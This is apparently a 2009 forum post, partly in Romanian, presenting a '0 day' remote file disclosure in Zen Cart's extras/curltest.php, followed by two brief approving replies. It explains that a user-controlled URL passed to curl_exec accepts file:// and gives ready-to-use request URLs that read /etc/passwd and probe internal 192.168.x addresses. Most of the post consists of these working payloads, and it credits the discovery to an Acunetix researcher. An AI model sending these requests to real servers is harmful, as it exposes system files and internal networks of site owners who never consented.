0 DAY Exploit (Zen Cart suffers from a remote file disclosure vulnerability)

[hozarares]

Usually, curl is used to connect and retrieve data from a remote URL

using the http protocol. However, curl supports a bunch of protocols.

One of these protocols is the file protocol. Using this protocol you can

read local files by using an URL like file:///etc/passwd. Therefore, if

the user can control the URL passed to curl_exec, in some cases (if the

content is echoed back) he can read local files.

Vulnerabilitatea afecteaza " /zen-cart/extras/curltest.php "

Exemplu :

http://site/zen-cart/extras/curltest.php?url=http://192.168.0.1 or

http://site/zen-cart/extras/curltest.php?url=http://192.168.1.1.

http://site/zen-cart/extras/curltest.php?url=file:///etc/passwd

Vulnerabilitatea descoperita de catre Bogdan Calin

( Acunetix )

Edited December 10, 2009 by hozarares

[hozarares]

E cel mai bun....vulnerabilitatile in Zen Cart apar cel mai rar.

[kiddo]

super tare , keep on it!